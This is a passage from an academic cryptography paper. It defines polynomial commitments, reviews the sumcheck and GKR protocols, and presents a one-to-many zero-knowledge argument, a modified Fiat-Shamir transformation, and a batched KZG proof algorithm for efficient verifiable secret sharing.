i) = 1]| ≤ negl(λ).

The privacy property can be achieved by concatenating a
random number on each leaf of Merkle tree when committing.

We define interactive proofs and VSS in Appendix A. We
also give the standard construction of VSS from polynomial
commitment in Appendix A.

2.1 Polynomial commitment

Univariate polynomial commitment. Let F be a finite field
and f be a polynomial on F with degree D. A univariate poly-
nomial commitment (PC) for f ∈ FD[X ] and a ∈ F consists
of the following algorithms:

• pp← KeyGen(1λ,D): Given the security parameter and
a bound on the degree of the polynomial, the algorithm
generates public parameter pp.
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• com f ← Commit( f ,r f ,pp): Given a polynomial f (x) =
∑

D
i=0 cixi, the prover commits f with the private randomness

r f and the public parameter pp. r f can be none.

• (y,π)← Open( f ,r f ,a,pp): For an evaluation point a, the
prover computes y = f (a) and the proof π.

• {1,0} ← Verify(com f ,a,y,π,pp). Given the commitment
com f , the evaluation point a, the answer y and the proof π,
the verifier checks the correctness of the evaluation.

Definition 1. A PC scheme satisfies the following properties:

• Completeness. For any polynomial f ∈ FD[X ] and a ∈ F,
the following probability is 1.

Pr

 pp← KeyGen(1λ,D)

com f ← Commit( f ,r f ,pp) : Verify(com f ,a,y,π,pp) = 1

(y,π)← Open( f ,r f ,a,pp)


• Proof of Knowledge. For any polynomial-sized circuit A ,

there exists a PPT extractor E and a negligible function
negl(·), such that for any auxiliary string z and any λ ∈ N,
the following probability is negl(λ).

Pr


pp← KeyGen(1λ,D)

(π∗,com∗,y∗,a∗)← A(1λ,z,pp) : Verify(com∗,a∗,y∗,π∗,pp) = 1

f ∗← E(1λ,z,pp) ∧ f ∗(a∗) 6= y∗



If a PC scheme satisfies an additional property of zero knowl-
edge, then it is a zero-knowledge univariate polynomial com-
mitment scheme (zkPC).

• Zero Knowledge. For security parameter λ, polynomial f ,
adversary A , and simulator S , consider the following two
experiments:
RealA , f (1λ):

– pp← KeyGen(1λ,D)

– com f ← Commit( f ,r f ,pp)

– a← A(1λ,com f ,pp)

– (y,π)←Open( f ,r f ,a,pp)

– b← A(1λ,com f ,a,y,π,pp)

– Output b

IdealA ,S (1λ):

– (com f ,pp,trap)← S(1λ,D)

– a← A(1λ,com f ,pp)

– π← S(com f ,a, f (a),pp,trap).

– b← A(1λ,com f ,a, f (a),π,pp)

– Output b

For any non-uniform polynomial-time adversary A , there
exists a simulator S such that for all polynomial f ∈ FD[X ],

|Pr[RealA , f (1λ) = 1]−Pr[IdealA ,S (1λ) = 1]| ≤ negl(λ).

A polynomial commitment scheme is said to be transparent
if the public parameter pp is simply a uniform random string,
i.e., there is no secret state to generate pp.

Multivariate polynomial commitment. The polynomial
commitment could be extended for multivariate polynomials
f ∈ F : F`→ F. The algorithms and definitions are similar
to those of the univariate polynomial, and we use MVPC and
zkMVPC to denote the multivariate schemes.

Protocol 1 (Sumcheck). It proceeds in ` rounds.

• In the first round, P sends a univariate polynomial

h1(x1)
de f
= ∑b2,...,b`∈{0,1} h(x1,b2, . . . ,b`) ,

V checks µ = h1(0)+h1(1). Then V sends a random chal-
lenge r1 ∈ F to P .

• In the i-th round, where 2≤ i≤ `−1, P sends a univariate
polynomial

hi(xi)
de f
= ∑bi+1,...,b`∈{0,1} h(r1, . . . ,ri−1,xi,bi+1, . . . ,b`) ,

V checks hi−1(ri−1) = hi(0)+hi(1), and sends a random
challenge ri ∈ F to P .

• In the `-th round, P sends a univariate polynomial

h`(x`)
de f
= h(r1,r2, . . . ,r`−1,x`) ,

V checks h`−1(r`−1) = h`(0)+ h`(1). The verifier gener-
ates a random challenge r` ∈ F. Given oracle access to an
evaluation h(r1,r2, . . . ,r`) of h, V will accept if and only
if h`(r`) = h(r1,r2, . . . ,r`). The instantiation of the oracle
access depends on the application of the sumcheck protocol.

2.2 Interactive Proofs for Layered Circuits

We present the GKR protocol, an efficient interactive proof
for layered arithmetic circuits by Goldwasser et al. [19].

2.2.1 Sumcheck Protocol

The GKR protocol uses the sumcheck protocol as a ma-
jor building block. The problem is to sum a multivari-
ate polynomial h : F` → F on the Boolean hypercube:
∑b1,b2,...,b`∈{0,1} h(b1,b2, ...,b`). Directly computing the sum
requires an exponential time in `, as there are 2` combinations
of b1, . . . ,b`. Lund et al. [28] proposed a sumcheck protocol
that allows a verifier V to delegate the computation to a com-
putationally unbounded prover P .We describe the sumcheck
protocol in Protocol 1. The proof size of the protocol is O(D`),
where D is the variable-degree of h, as in each round, P sends
a univariate polynomial of one variable in h, which can be
uniquely defined by D+1 points. The verifier time is O(D`).
The prover time depends on the degree and the sparsity of
h, and we will give the complexity later in our scheme. The
sumcheck protocol is complete and sound with ε = D`

|F| .

Definition 2 (Multilinear Extension). Let V : {0,1}`→ F
be a function. The multilinear extension of V is the unique
polynomial Ṽ : F`→ F s.t. Ṽ (x1,x2, ...,x`) =V (x1,x2, ...,x`)
for all x1,x2, . . . ,x` ∈ {0,1}. Ṽ can be expressed as:

Ṽ (x1,x2, ...,x`)=∑~b∈{0,1}` ∏
`

i=1((1−xi)(1−bi)+xibi))·V (~b) ,
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where bi is the i-th bit of~b.

Definition 3 (Identity function). Let β : {0,1}`×{0,1}`→
{0,1} be the identity function such that β(~x,~y) = 1 if~x =~y,
and β(~x,~y) = 0 otherwise. Suppose β̃ is the multilinear exten-
sion of β. Then β̃ can be expressed as: β̃(~x,~y) = ∏

`
i=1((1−

xi)(1− yi)+ xiyi).

2.2.2 GKR Protocol

With the sumcheck protocol as a building block, Goldwasser
et al. [19] proposed an interactive proof for the evaluation
of layered arithmetic circuits. Let C be a layered arithmetic
circuit with depth d over a finite field F. Each gate in the
i-th layer takes inputs from two gates in the (i+1)-th layer;
layer 0 is the output layer and layer d is the input layer. The
values in layer i of the circuit can be written as a sumcheck
equation of the values in layer i+1. Following the conven-
tion in prior works of GKR protocols [13, 34, 39, 41, 42],
we denote the number of gates in the i-th layer as Si and let
si = dlogSie. We then define a function Vi : {0,1}si → F that
takes a binary string ~b ∈ {0,1}si and returns the output of
gate~b in layer i, where~b is called the gate label. With this
definition, V0 corresponds to the output of the circuit, and
Vd corresponds to the input layer. We also define two addi-
tional functions addi,multi : {0,1}si−1+2si →{0,1}, referred
to as wiring predicates in the literature. addi (multi) takes
one gate label~z ∈ {0,1}si−1 in layer i−1 and two gate labels
~x,~y ∈ {0,1}si in layer i, and outputs 1 if and only if gate~z is
an addition (multiplication) gate that takes the output of gates
~x,~y as input. By taking their multilinear extensions, for any
~g(i) ∈ Fsi , Ṽi can be written as:

Ṽi(~g(i)) =∑~x,~y∈{0,1}si+1 fi(~g(i),~x,~y)

=∑~x,~y∈{0,1}si+1
˜addi+1(~g(i),~x,~y)(Ṽi+1(~x)+Ṽi+1(~y))

+ ˜mult i+1(~g(i),~x,~y)Ṽi+1(~x)Ṽi+1(~y). (1)

With Equation 1, as ˜addi+1 and ˜mult i+1 are publicly
known, upon receiving the output, the verifier can reduce
a claim of Ṽ0(~g(0)) to a claim Ṽ1(~g(1)) about layer 1, and
recursively to Ṽd(~gd) through sumcheck protocols layer by
layer. With the optimal algorithms for the prover in the GKR
protocol proposed in [39], we have the following theorem:

Theorem 1. [39]. Let C : Fn→Fk be a depth-d layered arith-
metic circuit. There exists an interactive proof protocol for the
function computed by C with soundness O(d log |C|/|F|). The
total communication is O(d log |C|) and the running time of
the prover P is O(|C|). When C has regular wiring pattern3,
the running time of V is O(n+ k+d log |C|).

3“Regular” circuits is defined in [13, Theorem A.1]. Roughly speaking, it
means the mutilinear extension of its wiring predicates can be evaluated at a
random point in time O(log |C|).

Lifting GKR protocols to argument systems. The GKR
protocol is not an argument system supporting witness from
P , as in the last round, V needs to evaluate Ṽd defined by
the input of the circuit at a random point locally. To ad-
dress this problem, in [42], Zhang et al. first construct an
argument system by combining the polynomial commitments
with the GKR protocol. In their scheme, P first commits to
the multilinear extension of P ’s witness by MVPC.Commit
before the GKR protocol. In the last random of the GKR
protocol, instead of evaluating locally, V queries P the eval-
uation on P ’s witness. P invokes MVPC.Open to prove
the correctness of the evaluation and V validates it using
MVPC.Verify. Combined with V ’s public input, V is able to
verify the last claim about Ṽd in the GKR protocol. Subse-
quent works [37,39,41,43] improve the efficiency and achieve
zero-knowledge based on the framework. We follow the same
framework in our scheme with a transparent setup, and we
present the protocol explicitly in Section 3.

3 Transparent Polynomial Commitment with
Prover Batching

We first present our transparent polynomial commitment
scheme with prover batching for multiple evaluations. There
are several candidates of transparent polynomial commitment
schemes recently [7, 27, 36, 37, 41] with the prover time of
Õ(t) for a single evaluation. However, in the application of
the VSS scheme in Protocol 4, if the dealer naively runs the
transparent polynomial commitment scheme on N evaluations
separately, the running time will be Õ(Nt).

In our scheme, we reduce the prover time of generating
all N proofs to O(N logN) field operations, which is asymp-
totically the same as evaluating the polynomial at N points.
We propose the notion of one-to-many zero knowledge ar-
guments, where each verifier receives one output out of the
entire output of a common computation represented by circuit
C. Instead of running a zero knowledge proof protocol with
each verifier separately, which may take Õ(N|C|) time for the
prover in the worst case, our scheme reduces the prover time
to Õ(|C|+N logN).

When applied to the polynomial commitment for VSS,
we set the evaluations at powers of the N-th root of unity ω

(i.e., ωN = 1 mod p). In this way, we realize the polynomial
commitment with prover batching by instantiating the circuit
C in our one-to-many zero knowledge argument with the
classical butterfly circuit [38] for the FFT algorithm. The
circuit takes the coefficients of the polynomial f as input, and
outputs f (ω0), . . . , f (ωN−1), where each verifier V j receives
f (ω j). With our one-to-many zero knowledge argument, the
prover is able to generate all proofs in time O(N logN).

Below, we will first describe our one-to-many zero knowl-
edge argument scheme assuming that somehow, all verifiers
send the same challenge in every round (Protocol 2) — to
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aid understanding, the reader may assume for the time be-
ing that all verifiers query a trusted random oracle in each
round to generate a common random challenge. Later, we
will describe a new Fiat-Shamir-style transformation (Pro-
tocol 3) to make Protocol 2 non-interactive, such that all
verifiers would effectively share the same challenges in this
non-interactive version. Finally, we will prove the soundness
of our new Fiat-Shamir transformation using the techniques in-
spired by Ben-Sasson, Chiesa, and Spooner [4]. For simplicity,
we first describe a simplified version of our protocol without
zero-knowledge. In full version, we will describe how to use
standard techniques to additionally achieve zero-knowledge.

3.1 One-to-Many Argument System Given
Shared Random Challenges

Following the notation of the GKR protocol in Section 2.2, we
denote the entire output of circuit C as Ṽ0(~x) for~x∈{0,1}logN .
Suppose the size of the output is N and each verifier V j re-
ceives one output Ṽ0(~j), where ~j is the binary representation
of j. Using its multilinear extension, we can write each Ṽ0(~j)
as a sumcheck of Ṽ0(~x) using the identity function β̃:

Ṽ0(~j) = ∑~x∈{0,1}logN β̃(~j,~x)Ṽ0(~x).

P and V j can run one sumcheck protocol to reduce the claim
about Ṽ0(~j) to the claim about Ṽ0(~g(0)) for~g(0) ∈ FlogN . This
is equivalent to adding an additional layer of “selector” that
selects the j-th output for V j. Assuming all verifiers share the
same random challenge in every round, they will share the
random vector of~g(0) during the sumcheck protocol and share
the last claim of Ṽ0(~g(0)). Then P invokes the GKR-based ar-
gument on the circuit C to prove to all verifiers the correctness
of Ṽ0(~g(0)). Given the common randomness during the invo-
cation, the prover computes the same message for all verifiers
in every round. Thus in this step, the total computational cost
of P the same as that of proving to a single verifier, which is
Õ(|C|). We present the formal protocol in Protocol 2.

It remains to show that in Step 4 of Protocol 2, the prover
can generate all messages in the sumcheck protocols with
all the verifiers in O(N logN) time. As there are N different
sumcheck protocols and the size of the polynomial in each
sumcheck is O(N), naively running Step 4 takes O(N2) time
using existing techniques. However, we observe that all the
sumcheck protocols with different V j share the same polyno-
mial Ṽ0(~x). The only difference is that the identity function
β̃ takes different ~j. By utilizing the special structure of the
identity function β̃, we are able to come up with a new algo-
rithm to run all sumcheck protocols efficiently. The algorithm
initializes and updates a lookup table based on Ṽ0 once for
all verifiers in every round. Then using the lookup table, the
prover is able to generate the message for each sumcheck
protocol in every round in a constant time. Thus the prover
time is O(N) per round, and thus is O(N logN) in total. We

Protocol 2. Batching prover computation for N verifiers that
share random challenges.
Let λ be the security parameter. Let C: Fn → FN be a d-depth
layered arithmetic circuit. For any j ∈ [N], P needs to convince V j
that out j = [C(in)] j where [C(in)] j is the j-th output of the circuit
given input in, and out j is the the claimed result for V j. Without
loss of generality, assume n and N are both powers of 2 and we can
pad them if not.
Here, we assume that all verifiers obtain their random challenge
from a common random oracle in each round.

1. Set pp←MVPC.KeyGen(1λ).

2. P invokes MVPC.Commit(Ṽd ,pp) to generate comṼd
and

broadcasts comṼd
to all verifiers. Ṽd is the multilinear exten-

sion of input values, as defined in the GKR protocol.

3. For each j ∈ [N], P sends Ṽ0(~j) as out j to V j separately.

4. For each j ∈ [N], P and V j run a sumcheck protocol on

Ṽ0(~j) = ∑
~x∈{0,1}logN

β̃(~j,~x)Ṽ0(~x), ~j is the binary string of j

At the end of the protocol, V j receives Ṽ0(~g(0)) for the common
random vector of ~g(0). V j computes β̃(~j,~g(0)) and checks the
last statement of the sumcheck protocol.

5. For all verifiers P invokes the GKR protocol on the circuit C to
generate the proof given Ṽ0(~g(0)).

6. For all verifiers, in the last round of the GKR protocol, they have
the claim about Ṽd(~g(d)) . P and V j invoke MVPC.Open and
MVPC.Verify on Ṽd(~g(d)) with comṼd

and pp. If it is equal to
Ṽd(~g(d)) sent by P , V j outputs 1, otherwise V j outputs 0.

present the formal algorithm in Algorithm 1. As shown in
Step 6 of Algorithm 1, in the i-th round of the sumcheck (see
Protocol 1 for the message in each round of sumcheck), the
messages defined by Ṽ0 are shared among all verifiers and can
be computed by the prover in O(N/2i) time. In Step 7, the
lookup table is updated based on the randomness received in
this round in O(N/2i). Then in Step 9, the prover generates
the messages for each verifier V j utilizing the closed form of
the identity function as described in Section 2. Since the sum-
check protocol has logN rounds in total, the total prover time
is O(N + N

2 + . . .+ 1+N logN) = O(N logN). Using Algo-
rithm 1 for Step 4 in Protocol 2, and the transparent zkMVPC
scheme in [41] with O(n logn) prover time, O(log2 n) verifier
time and proof size, where n is the size of the input plus the
witness, we have the following theorem.

Theorem 2. For each V j and P , Protocol 2 is an argu-
ment system for the function [out] j = [C(in)] j such that
out =C(in) with soundness O(d log |C|/|F|). The proof size
is O(d log |C|+ log2 n) and the verifier time is O(d log |C|+
log2 n). If N verifiers have the common random challenge in
every round, the total prover time is O(|C|+N logN+n logn).

2972    31st USENIX Security Symposium USENIX Association



Algorithm 1 {a1,0, . . . , a1,N−1, . . . ,alogN,0, . . . ,alogN,N−1}←
SumCheck (Ṽ (~x), g(0)1 , . . . , g(0)logN)

Input: Ṽ (~x) for~x ∈ {0,1}logN , random g(0)1 , . . . ,g(0)logN ;
Output: For each j ∈ [N], logN sumcheck messages
(a1, j, . . . ,alogN, j) for Ṽ (~j) = ∑

x∈{0,1}logN
β̃(~j,~x)Ṽ0(~x). Each

message ai, j consists of 3 elements (ai0, j,ai1, j,ai2, j);
1: Initialize beta j = 1 for all j ∈ [N].
2: Initialize an array V [B] = Ṽ0(~b) for all~b ∈ {0,1}logN . //~b is

the binary representation of integer B.
3: for Round i = 1, . . . , logN do
4: for Evaluation point r = 0,1,2 do
5: for~b ∈ {0,1}logN−i do
6: Ṽ0(g

(0)
1 , . . . ,g(0)i−1,r,~b) =V [B] · (1− r)+V [B+2logN−i] · r

7: V [B] =V [B] · (1−g(0)i )+V [B+2logN−i] ·g(0)i

8: for j = 0, . . . ,N−1 do
9: ait, j = beta j · [(1 − ji) · (1 − r) + ji · r] ·

Ṽ0(g
(0)
1 , . . . ,g(0)i−1,r, ji+1, . . . , jlogN) // j1 j2 . . . jlogN is the

binary representation of j.
10: beta j = beta j · [(1− ji) · (1−g(0)i )+ ji ·g

(0)
i ]

11: return {a1,0, . . . , a1,N−1, . . . ,alogN,0, . . . ,alogN,N−1};

Proof. Completeness. For each V j and P , the completeness
is straightforward.
Soundness. For each j, if Ṽ0( j) 6= [C(in)] j, let Ṽ †

0 (~g
(0)) be the

correct value corresponding to C. If Ṽ0(~g(0)) 6= Ṽ †
0 (~g

(0)), then
V j outputs 0 in Step 6 with the probability of O(d log |C|/|F|)
by the soundness of the GKR protocol. If Ṽ0(~g(0)) = Ṽ †

0 (~g
(0)),

V outputs 0 in Step 4 with probability of O(logN/|F|) by the
soundness of the sumcheck protocol. Thus, the total probabil-
ity is bounded by O(d log |C|/|F|) by the union bound.
Efficiency. For each verifier V j, the proof size and the veri-
fication time in Step 4 are O(logN) while the proof size and
the verification time in Step 5 are O(d log |C|). If Protocol 2
employs the transparent MVPC scheme in [41], the proof size
and the verification time are O(log2 n) in Step 6. Thus the
verification time and the proof size are O(d log |C|+ log2 n)
for an individual verifier. The prover runs in O(N logN) time
for N verifiers in Step 4 by Algorithm 1. P also invokes
the GKR protocol on C in Step 5. Given the same chal-
lenges, P costs O(|C|) time in Step 5 to generate the common
proof by Theorem 1. The prover time is O(n logn) for the
zkMVPC scheme in [41]. Therefore, the total prover time is
O(|C|+N logN +n logn) asymptotically.

It is not hard to see that our one-to-many zero knowledge ar-
gument scheme can be extended to support a subset of outputs
per verifier in a straightforward way, and we omit the details in
this paper. By instantiating the circuit C in Protocol 2 with the
FFT circuit of size |C|= O(N logN) and depth d = O(logN),
and the input in with the coefficients of the polynomial f and
the N-th root of unity ω, we are able to construct a polynomial

commitment scheme with prover batching. Each verifier V j

receives Ṽ0(~j) = f (ω j), and the prover generates all proofs
in O(N logN) time. Suppose f (x) = c0 + c1x+ . . .+ ctxt and
t = Θ(N), we have the following corollary:

Corollary 1. For prover P and N verifiers V j for j ∈ [N],
there exists an argument system for the function between
every P and V j that out j = f (ω j) and out = FFT(c0, . . . ,ct)
with soundness O(log2 N/|F|). The proof size is O(log2 N)
and the verifier time is O(log2 N). If N verifiers have the
common random challenge in every round, the total prover
time is O(N logN) and communication is O(N log2 N).

3.2 A New Fiat-Shamir Transformation for
Sharing Random Challenges

We now describe a new Fiat-Shamir-style transformation that
makes Protocol 2 non-interactive in the random-oracle model,
such that the N verifiers could effectively share the same
random challenge in every round. A strawman approach is to
use the standard Fiat-Shamir heuristic [16] for each verifier
V j and P , separately. In the Fiat-Shamir heuristic [16], P
generates V ’s random challenge by querying a random oracle
on the entire transcript of messages with V so far. If we
directly apply the Fiat-Shamir heuristic on Protocol 2 for
each verifier separately, the random challenge will not be the
same in every round of the protocol since each verifier V j

has the possibly different output Ṽ0(~j) at the beginning of the
protocol. Hence the previous transcript for V j are divergent
in any round, and thus the random oracle will output different
challenges except with negligible probability.
Warmup: using a Merkle tree to merge random chal-
lenges into one. A better but still slightly inefficient approach
is to use a Merkle tree to merge the random challenges into
a single one. Precisely, in every round, the prover builds a
Merkle tree on N random points generated by Fiat-Shamir-
style transformation on N transcripts and uses the root as
the unique challenge for all verifiers. P also attaches the
corresponding Merkle path to convince each V j of the cor-
rectness of the common randomness. Although the procedure
guarantees the common random challenges, the Merkle tree
approach will result in a multiplicative overhead of O(logN)
on the prover time, proof size, and the verifier time of the
whole protocol. Specifically, the logN blowup stems from the
need to build the Merkle tree of size N and send a logN-sized
Merkle branch to every verifier in every round.
Our approach. We suggest a more efficient approach that
achieves the same prover time as Protocol 2 and incurs only
an additive overhead of O(log2 N) on the proof size. We have
the prover generate the verifier’s random challenge by query-
ing the random oracle at only the last round’s challenge and
message instead of the whole transcript. The advantage of
this new heuristic approach is that all verifiers share the same
challenge after Step 4 in Protocol 2 automatically without the
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Merkle tree. As described in Protocol 2, as long as the ran-
dom vector of~g(0) is identical in Step 4, all verifiers receive
the same claim about Ṽ0(~g(0)) with the same random chal-
lenge. Our heuristic transformation assures that the transcript
in Steps 5-6 will be the same for each verifier. Therefore, the
prover only needs to insert Merkle trees in every round of
Step 4 (i.e., the output layer). We provide the formal non-
interactive protocol in Protocol 3.

In a general setting, the standard Fiat-Shamir transforma-
tion usually applies only to constant-round protocols (assum-
ing only polynomial soundness loss in the security reduction).
By contrast, we are applying our new Fiat-Shamir-style trans-
formation to a non-constant-round protocol. Nonetheless, we
can still prove standard polynomial soundness loss using tech-
niques from Ben-Sasson, Chiesa, and Spooner [4]. We present
the formal proof in Appendix B, which implies the theorem:

Theorem 3. For each V j and P , Protocol 3 is a non-
interactive argument system for the function out j = [C(in)] j
such that out =C(in). The proof size is O(d log |C|+ log2 n+
log2 N) and the verifier time is O(d log |C|+ log2 n+ log2 N).
The total prover time is O(|C|+N logN +n logn).

Efficiency. Compared to Protocol 2, the extra proof for each
verifier is logN authentication paths each being of length
logN. Hence the proof size for each V j has an extra term of
O(log2 N). The extra computation for each V j is validating
logN authentication paths contained in the proof by querying
the random oracle log2 N times. Thus the verification time
for each verifier becomes O(d log |C|+ log2 n+ log2 N). The
extra computation on the prover is building logN Merkle trees
of size N by querying the random oracle O(N logN) times to
merge the randomness in Step 4. Therefore, the total prover
time is still O(|C|+n logn+N logN) asymptotically.

Corollary 2. For prover P and N verifiers V j for j ∈ [N],
there exists a non-interactive argument system for the func-
tion between every P and V j that out j = f (ω j) and out =
FFT(c0, . . . ,ct) with the proof size of O(log2 N) and the veri-
fication time of O(log2 N). The prover time is O(N logN) and
the total communication cost is O(N log2 N) given t = Θ(N).

4 KZG-Based Polynomial Commitment with
Prover Batching

In this section, we propose a new scheme based on the KZG
polynomial commitment with prover batching, such that gen-
erating all proofs only takes O(N logN) time, without intro-
ducing any overhead on the proof size and the verifier time.
We first present the formal algorithms of the original KZG
polynomial commitment and then introduce our new scheme.

4.1 KZG Polynomial Commitment
The KZG polynomial commitment relies on the bilinear map,
which is defined below.

Bilinear map. Let G,GT be two groups of prime order p and
let g ∈G be a generator. e : G×G→GT denotes a bilinear
map and we use bp = (p,G,GT ,e,g)← BilGen(1λ) for the
generation of parameters for the bilinear map.

The KZG polynomial commitment is as follows.

• pp ← KeyGen(1λ, t): Given the security parame-
ter and a bound on the degree of the polyno-
mial, it runs (p,g,G,e,GT ) ← BilGen(1λ). Output
pp= [p,g,G,e,GT ,{gτ0

,gτ1
, ...,gτt}].

• com f ← Commit ( f ,pp): Given a polynomial f (x) =

∑
t
i=0 cixi, it computes com f = g f (τ) = Πt

i=0(g
τi
)ci .

• {(y,π)} ← Open ( f ,a,pp): For an evaluation point a, the
prover computes y = f (a) and polynomial q(x) = f (x)−y

x−a .
Let the coefficients of q be (q0,q1, ...,qt−1). The prover
computes π = gq(τ) = Π

t−1
i=0(g

τi
)qi .

• {1,0}← Verify (com f ,a,y,π,pp): Given the commitment
com f , the evaluation point a, the answer y and the proof π,

the verifier checks if e(com/gy,g) ?
= e(π,gτ/ga). It outputs

1 if the check passes, and 0 otherwise.

The scheme is computationally-hiding under the discrete
log assumption and computationally binding under the l-
SBDH assumption. The prover time of the KZG commitment
is O(t) modular exponentiations, the proof size is O(1), a sin-
gle element in the base group, and the verifier time is O(1),
one bilinear pairing.

FFT on group elements. As the FFT algorithm only in-
volves additions and scalar multiplications with the pow-
ers of the root of unity ω, the algorithm can be applied
to a vector of elements in the base group of the bilinear
map by replacing the additions with multiplications and the
multiplications with exponentiations in the base group. In
particular, let A = (a0, . . . ,aN) and gA = (ga0 , . . . ,gaN ), one
can evaluate FFT(gA) = (g f (ω0), . . . ,g f (ωN−1)) for f (x) =
∑

N
i=0 aixi in time O(N logN), without knowing (a0, . . . ,aN).

Similarly, one can also compute the convolution with a pub-
lic vector B = (b0, . . . ,bN) “on the exponent”, i.e., gA∗B =
IFFT(FFT(gA)�FFT(B)), where � denotes element-wise
exponentiation.

4.2 Our New Prover Batching Technique
In our new scheme, the public parameters pp, the commitment
com f and the proof π together with Keygen,Commit,Verify
are exactly the same as the KZG commitment. The main con-
tribution is that we present a new batched algorithm for the
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Protocol 3. Making Protocol 2 non-interactive with a new Fiat-Shamir-style tranformation
Let λ be the security parameter. Let C: Fn→ FN be a d-depth layered arithmetic circuit. For any j ∈ [N], P needs to convince
V j that out j = [C(in)] j where [C(in)] j is the j-th output of the circuit given input in, and out j is the the claimed result for V j.
Without loss of generality, assume n and N are both powers of 2 and we can pad them if not. Let ρ be a random oracle.

1. Set pp←MVPC.KeyGen(1λ).

2. P invokes MVPC.Commit(Ṽd ,pp) to generate comṼd
and broadcasts comṼd

to all verifiers. Ṽd is the multilinear extension
of in, as defined in the GKR protocol.

3. For each j ∈ [N], P sends V0( j) as out j to V j separately.

4. For each j ∈ [N], P runs the sumcheck protocol on the equation in Step 4 of Protocol 2. For i = 1, . . . , logN:

(a) Suppose Mi, j is the i-th univariate polynomial P sends to V j in the sumcheck. If i = 1, set ri, j = ρ(comṼd
||V0( j)||M1, j).

If i > 1, set ri, j = ρ(g(0)i−1||Mi, j).

(b) P builds a Merkle tree on the vector of~r(i) = (ri,0, . . . ,ri,N−1). Let g(0)i =MT.Commit(~r(i)). Then P assigns g(0)i as the
common random challenge in the i-th round.

(c) P attaches (ri, j,pathi, j)←MT.Open( j,g(0)i ) in the proof.

In the last round of the sumcheck, P sends Ṽ0(~g(0)) to each V j as they share the same random vector of~g(0).

5. P invokes the GKR protocol with Ṽ0(~g(0)). In each round, P generates the random challenges by querying ρ on the last
round’s challenge and message. For all Vj, the random challenges and the transcript would be exactly the same because they
share the same claim about Ṽ0(~g(0)) and the same random vector~g(0) from the first round of this step.

6. In the last round of the GKR protocol, all verifiers have the same claim about Ṽd(~g(d)). P invokes zkMVPC.Open(Ṽd ,~g(d),pp)
to generate the proof for the claim.

7. For each j ∈ [N], V j checks the proof with random challenges provided by P and zkMVPC.Verify. Then V j checks all
authenticated paths in the Merkle tree proof by MT.Verify. In particular, given pathi, j = (ν1, . . . ,νlogN), for k = 1, . . . , logN:
if ji = 0, V j computes ri, j = ρ(ri, j||νi||(i−1)(logN+1)+k); otherwise V j computes ri, j = ρ(νi||ri, j||(i−1)(logN+1)+k).

V j checks that ri, j = g(0)i . Finally, V j queries ρ to check the generation process of random challenges.

prover to generate proofs for N different evaluation points.
The key idea of our scheme is to evaluate the polynomials at
different powers of the N-th root of unity ω, which enables
us to invoke the FFT algorithm to compute the proofs effi-
ciently — but observing how to leverage the FFT algorithm
is non-trivial. Recall that in the dealing round of the VSS
scheme, for each party i ∈ [N] the dealer computes si = f (ui)

and πi = gqi(τ) = g
f (τ)− f (ui)

τ−ui . By setting the public evaluation
point of party i as ui = ωi, the dealer can compute all si in
O(N logN) time using the FFT algorithm. However, comput-
ing the proofs πi is more challenging, as τ is the secret key
and is not explicitly given to the dealer. The dealer only has
access to the public parameters gτ,gτ2

, . . . ,gτt
.

To solve this, we examine the structure of the polynomials
qi(x) for i ∈ [N]. We define a bivariate polynomial q(x,y) as

q(x,y) =
f (x)− f (y)

x− y
. (2)

Then, qi(τ) = q(τ,ωi) and the proofs are πi = gq(τ,y) for y =

ωi, i ∈ [N]. Let f (x) = ∑
t
j=0 c jx j, we have:

q(τ,y)=
f (τ)− f (y)

τ− y
=

∑
t
j=0 c j(τ

j− y j)

(τ− y)
=

t

∑
j=1

c j

j

∑
k=1

yk−1
τ

j−k ,

(3)
as τ j− y j = (τ− y) ·∑ j

k=1 yk−1τ j−k for j = 1, . . . ,N, and the
constant term c0 cancels out for j = 0. By changing the order
of the summations, the equation above equals to

t

∑
k=1

yk−1
t

∑
j=k

c jτ
j−k =

t

∑
k=1

hkyk−1 , (4)

where hk = ∑
t
j=k c jτ

j−k. As shown by the equations above,
q(τ,y) is a degree-(t−1) polynomial of variable y. If we can
precompute all ghk for k = 1 . . . , t, we can evaluate gq(τ,y) at
y = ωi for i∈ [N] in O(N logN) time using the FFT algorithm
on the elements in the base group.

Precomputing ghk . We observe that hk is in the form of a
convolution, and we can precompute all ghk using FFT. Let
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Algorithm 2 (π0, . . . ,πN−1)←multi_proof( f ,ω,N,pp)

Input: Polynomial f (x) = ∑
t
i=0 cixi, the number of parties N, the

N-th root of unity ω and the public parameter pp containing
gτ,gτ2

, . . . ,gτt
and (p,g,e,G,GT ).

Output: Proofs of the KZG commitment πi = gqi(τ), for i ∈ [N].

1: Set C = (c1,c2, ...,ct),gT = (gτt−1
,gτt−2

, ...,gτ0
).

2: Compute the convolution gH = gC∗T = IFFT(FFT(gT ) �
FFT(C)), where � denotes element-wise exponentiation.

3: ghk = g∑
t
j=k c jτ

j−k
= gH[k+t−2] for each k = 1, . . . , t.

4: For polynomial h(y) = ∑
t
k=1 hkyk−1, compute

(gh(ω0),gh(ω1), . . . ,gh(ωN−1)) = FFT(gh1 ,gh2 , . . . ,ght ).
5: Return πi = gqi(τ) = gh(ωi)

C = (c1,c2, ...,ct),T = (τt−1,τt−2, ...,τ0), and let H =C ∗T
be their convolution. As described in Section 2, we have:

H[`] =
`

∑
m=0

C[m]T [`−m] =
`

∑
m=0

cm+1τ
t−1−(`−m) . (5)

By setting ` = k + t − 2 and j = m + 1, cm+1 = c j and
τt−1−(`−m) = τ j−k in Equation 5. Moreover, c j is defined to
be nonzero for j ∈ [1, t], and τ j−k is defined to be nonzero
for j ∈ [k,k + t − 1]. Therefore, H[`] = ∑

k+t−1
j=1 c jτ

j−k =

∑
t
j=k c jτ

j−k = hk. Thus, the dealer can precompute all ghk

for k = 1, . . . , t using FFT and IFFT on gT and C in O(t log t)
time without knowing τ.
Complexity analysis. We present the formal algorithm in
Algorithm 2. Combining the two steps, the overall complexity
of the dealer is O(N logN) modular exponentiations. The
proof size and the verifier time remain O(1) per evaluation.
In fact, our scheme is a more efficient algorithm to generate
multiple proofs, and each proof size and verification time
remain exactly the same as the original KZG polynomial
commitment. The security of our scheme follows directly
from the security proofs in [25].

Note that both our new scheme and the original KZG
scheme only achieve computationally-hiding and binding, but
not the stronger notion of proof of knowledge and zero knowl-
edge in Definition 1. However, they suffice to prove security
for the application of VSS and DKG as shown in [25], as the
secret and the polynomial are randomly generated. Follow-up
works such as [43] propose variants that achieve proof of
knowledge and zero knowledge using randomized commit-
ment and opening, and knowledge assumptions. Our scheme
with prover batching also works on these variants with min-
imal changes and achieves stronger notions. We sketch the
algorithms in the full version.

5 Implementation and Evaluation

